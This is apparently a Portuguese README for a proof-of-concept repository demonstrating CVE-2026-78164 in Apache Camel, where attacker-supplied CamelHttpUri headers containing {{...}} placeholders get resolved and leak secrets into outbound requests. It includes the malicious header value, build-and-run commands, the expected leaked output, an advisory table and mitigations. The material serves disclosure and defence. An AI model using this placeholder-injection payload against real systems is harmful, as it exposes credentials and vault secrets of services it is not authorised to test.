
Prova de conceito executável para CVE-2026-78164, demonstrando vazamento de segredos quando produtores HTTP do Apache Camel resolvem placeholders de propriedades em cabeçalhos CamelHttpUri fornecidos pelo atacante.
Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que as famílias de produtores HTTP permitem que uma mensagem de entrada substitua a URI do endpoint através dos cabeçalhos CamelHttpUri e CamelRestHttpUri, e em seguida passavam essa string fornecida pela mensagem por CamelContext.resolvePropertyPlaceholders() antes de utilizá-la.
A resolução de placeholders de propriedades é um mecanismo de resolução de configuração, não uma etapa de análise de URI. Ela alcança variáveis de ambiente do sistema operacional, propriedades de sistema da JVM, todas as PropertiesFunction no classpath (incluindo as funções de segredo AWS, Azure, GCP, HashiCorp, IBM, CyberArk e Kubernetes) e — através do camel-bean — a invocação de um método sem argumentos em qualquer bean no registro. Aplicá-la a conteúdo de Exchange influenciado pelo atacante transforma uma string de URI num contexto de avaliação de configuração e de beans. O autor da rota não optou por nada disso: um simples to("http://backend/api") estático era suficiente.
| Runtime | Diretório | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0 (afetado; corrigido em 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0 (Camel 4.15.0, afetado) |
O comportamento é anterior à linha 4.x (remonta ao camel-http4 / camel-netty4), portanto todas as versões afetadas e o Camel 4.15.0 no Camel Quarkus mais recente são vulneráveis. A correção é entregue no Camel 4.18.5 / 4.22.1 / 4.23.0; o módulo Spring Boot executa tanto a build afetada (4.22.0) quanto a build corrigida (4.22.1). Nenhum Camel Quarkus lançado até agora inclui um Camel corrigido.
A rota é um simples to("http://127.0.0.1:9100/collect") estático apontando para um coletor local. O atacante define
o cabeçalho CamelHttpUri para uma URI contendo um token de placeholder de propriedade — sem conhecer o valor do segredo, apenas
nomeando a chave:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
O aplicativo define uma propriedade de sistema da JVM cve78164.secret para representar qualquer valor de configuração ou segredo de vault. Na build afetada, o produtor resolve o placeholder antes de a requisição ser enviada, então o coletor vê o segredo na consulta de saída. Na build corrigida, o token é encaminhado literalmente.
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
Saída esperada na build afetada:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
Na build corrigida, o coletor passa a ver GET /collect?leak={{sys:cve78164.secret}} (literal, não resolvido).
| Propriedade | Valor |
|---|---|
| Componente | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336 (Neutralização Imprópria de Elementos Especiais Usados em um Motor de Template), CWE-200 (Exposição de Informações) |
| Severidade | ALTA |
| Vetor de ataque | Cabeçalho de substituição CamelHttpUri / CamelRestHttpUri carregando um token {{...}}; o corpo/cabeçalhos não são limitados por bridgeEndpoint, e vários consumidores preenchem CamelHttpUri a partir da linha de requisição como recurso de proxy reverso |
| Impacto | Expansão de variáveis de ambiente, propriedades de sistema e segredos de vault na requisição de saída; invocação sem argumentos de beans do registry; um oráculo de chave de configuração definida/não definida por meio do erro ecoado |
| Versões Afetadas | A partir de 4.0.0 antes de 4.18.5, a partir de 4.19.0 antes de 4.22.1 (o comportamento é anterior à 4.x) |
| Versões Corrigidas | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24418 |
| Crédito | [email protected] |
Aviso: https://camel.apache.org/security/CVE-2026-78164.html
A chamada resolvePropertyPlaceholders() por mensagem é removida em todos os locais afetados, de modo que um token {{...}} que
aparece apenas em CamelHttpUri ou CamelRestHttpUri agora é tratado como parte literal da URI. Placeholders na
URI do próprio endpoint da rota não são afetados — eles são resolvidos uma única vez, em tempo de build, quando o endpoint é criado.
Remova os cabeçalhos de substituição na fronteira de confiança antes do producer com removeHeader("CamelHttpUri") e
removeHeader("CamelRestHttpUri"), ou defina skipControlHeaders=true nos endpoints camel-http (o único componente
que oferece essa opção). bridgeEndpoint=true não é uma solução alternativa. Aplique um HeaderFilterStrategy de entrada estrito
nos consumidores expostos a remetentes não confiáveis, e resolva segredos por meio de um vault em vez de por variáveis de ambiente/sistema
que um placeholder possa nomear.
Este repositório é publicado para fins educacionais e defensivos: para ajudar usuários do Apache Camel a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. O "segredo" é um fixture local inerte. Não use este material contra sistemas que você não possui ou opera.